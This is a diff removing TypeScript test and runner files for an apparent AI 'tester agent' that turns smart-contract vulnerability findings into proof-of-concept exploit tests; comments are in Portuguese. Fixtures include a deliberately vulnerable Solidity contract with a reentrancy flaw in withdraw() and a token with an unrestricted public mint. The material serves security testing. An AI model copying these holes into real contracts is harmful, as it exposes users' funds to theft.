-import { testerAgent } from "../src/agents/tester/agent.js";
-import { Finding, VulnerabilityReport } from "../src/agents/tester/types.js";
-import { readFileSync } from "fs";
-
-function mapFindingToReport(finding: Finding, sourceCode: string): VulnerabilityReport {
-  const nameMatch = finding.path.match(/([^\/]+)\.sol$/);
-  const contractName = nameMatch ? nameMatch[1] : "TargetContract";
-
-  return {
-    id: finding.title.toLowerCase().replace(/[^a-z0-9]+/g, "-").slice(0, 50),
-    severity: finding.severity === "high" ? "high" : finding.severity === "medium" ? "medium" : "low",
-    type: "custom",
-    title: finding.title,
-    description: finding.description,
-    affectedContract: {
-      name: contractName,
-      sourceCode: sourceCode,
-    },
-    attackVector: finding.judgeReview.exploitablePaths[0] || "Unknown vector",
-    exploitablePaths: finding.judgeReview.exploitablePaths,
-    codeSnippet: finding.codeSnippet,
-    location: finding.location
-  };
-}
-
-async function main() {
-  const input = JSON.parse(readFileSync("src/agents/tester/data/input_centrifuge.json", "utf-8"));
-  const sourceCode = readFileSync("tests/centrifuge_flat.sol", "utf-8");
-
-  const report = mapFindingToReport(input, sourceCode);
-
-  console.log("Iniciando execução do Agente Tester com Centrifuge Trajectory 008...");
-  const result = await testerAgent.invoke({ report });
-
-  console.log("\n======= Resultado =======");
-  console.log("Status Final:", result.status);
-  console.log("Iterações:", result.iterations);
-  if (result.lastError) console.log("Último Erro:", result.lastError);
-  
-  console.log("\n======= Código Gerado =======");
-  console.log(result.pocCode);
-}
-
-main().catch(console.error);

tests/run-input-test.ts

@@ -1,67 +0,0 @@
-import { testerAgent } from "../src/agents/tester/agent.js";
-import { Finding, VulnerabilityReport } from "../src/agents/tester/types.js";
-import { readFileSync } from "fs";
-
-function mapFindingToReport(finding: Finding, sourceCode: string): VulnerabilityReport {
-  const nameMatch = finding.path.match(/([^\/]+)\.sol$/);
-  const contractName = nameMatch ? nameMatch[1] : "TargetContract";
-
-  return {
-    id: finding.title.toLowerCase().replace(/[^a-z0-9]+/g, "-").slice(0, 50),
-    severity: finding.severity === "high" ? "high" : finding.severity === "medium" ? "medium" : "low",
-    type: "custom",
-    title: finding.title,
-    description: finding.description,
-    affectedContract: {
-      name: contractName,
-      sourceCode: sourceCode,
-    },
-    attackVector: finding.judgeReview.exploitablePaths[0] || "Unknown vector",
-    exploitablePaths: finding.judgeReview.exploitablePaths,
-    codeSnippet: finding.codeSnippet,
-    location: finding.location
-  };
-}
-
-async function main() {
-  const input = JSON.parse(readFileSync("src/agents/tester/data/input.json", "utf-8"));
-  
-  // O Finding do auditor já tem o 'codeSnippet', mas para o Oracle precisamos do 'sourceCode' completo.
-  // Como não temos o repositório do coder aqui, vamos usar o codeSnippet envolto em um contrato mínimo
-  // ou assumir que o codeSnippet é representativo para o teste.
-  // Na vida real, o index.ts passa o coderResult.contract.
-  
-  // Vamos criar um sourceCode fake que contém o snippet para testar o fluxo.
-  const fakeSourceCode = `
-pragma solidity ^0.8.20;
-contract CafeToken {
-    mapping(address => uint256) public balances;
-    event RewardRedeemed(address indexed user, uint256 amount, string recompensa);
-    function _burn(address account, uint256 amount) internal {
-        balances[account] -= amount;
-    }
-    function balanceOf(address account) public view returns (uint256) {
-        return balances[account];
-    }
-    function mint(address account, uint256 amount) public {
-        balances[account] += amount;
-    }
-    ${input.codeSnippet}
-}
-  `;
-
-  const report = mapFindingToReport(input, fakeSourceCode);
-
-  console.log("Iniciando execução do Agente Tester com input.json...");
-  const result = await testerAgent.invoke({ report });
-
-  console.log("\n======= Resultado =======");
-  console.log("Status Final:", result.status);
-  console.log("Iterações:", result.iterations);
-  if (result.lastError) console.log("Último Erro:", result.lastError);
-  
-  console.log("\n======= Código Gerado =======");
-  console.log(result.pocCode);
-}
-
-main().catch(console.error);

tests/scaffold.test.ts

@@ -1,36 +0,0 @@
-import { describe, expect, it } from "vitest";
-
-import { generateLocalScaffold } from "../src/agents/tester/tools/scaffoldGenerator.js";
-
-describe("generateLocalScaffold", () => {
-  it("creates a basic exploit scaffold", () => {
-    const mockReport = {
-      id: "t1",
-      severity: "high" as const,
-      type: "reentrancy",
-      title: "Reentrancy in withdraw()",
-      description: "withdraw() sends ETH before zeroing balance",
-      attackVector: "Malicious callback",
-      affectedContract: {
-        name: "VulnerableBank",
-        sourceCode: `
-pragma solidity ^0.8.20;
-contract VulnerableBank {
-  mapping(address=>uint) public balances;
-  function withdraw() external {
-    uint a = balances[msg.sender];
-    (bool ok,) = msg.sender.call{value:a}("");
-    require(ok); balances[msg.sender] = 0;
-  }
-}`,
-      },
-    };
-
-    const scaffold = generateLocalScaffold(mockReport);
-
-    expect(scaffold).toContain("contract ExploitTest is Test");
-    expect(scaffold).toContain("VulnerableBank target");
-    expect(scaffold).toContain("function setUp()");
-    expect(scaffold).toContain("function test_Exploit()");
-  });
-});

tests/state.test.ts

@@ -1,16 +0,0 @@
-import { describe, expect, it } from "vitest";
-
-import { PoCStateAnnotation } from "../src/agents/tester/state.js";
-
-describe("PoCStateAnnotation", () => {
-  it("defines the iterations field", () => {
-    const spec = (PoCStateAnnotation as any).spec;
-    expect(spec.iterations).toBeDefined();
-  });
-
-  it("uses additive reducer for iterations", () => {
-    const spec = (PoCStateAnnotation as any).spec;
-    const reducer = spec.iterations.reducer ?? ((x: number, y: number) => x + y);
-    expect(reducer(0, 1)).toBe(1);
-  });
-});

tests/stub-run.ts

@@ -1,19 +0,0 @@
-import { testerAgent } from "../src/agents/tester/agent.js";
-
-const mockReport = {
-  id: "test-stub", 
-  severity: "high" as const, 
-  type: "reentrancy",
-  title: "Test", 
-  description: "Test", 
-  attackVector: "Test",
-  affectedContract: { name: "Test", sourceCode: "pragma solidity ^0.8.0;" }
-};
-
-const result = await testerAgent.invoke({ report: mockReport });
-
-console.assert(result.status === "success", `status deve ser success, mas foi ${result.status}`);
-console.assert(result.iterations === 1, `iterations deve ser 1, mas foi ${result.iterations}`);
-
-console.log("Grafo stub OK:", result.status);
-console.log("Iterations:", result.iterations);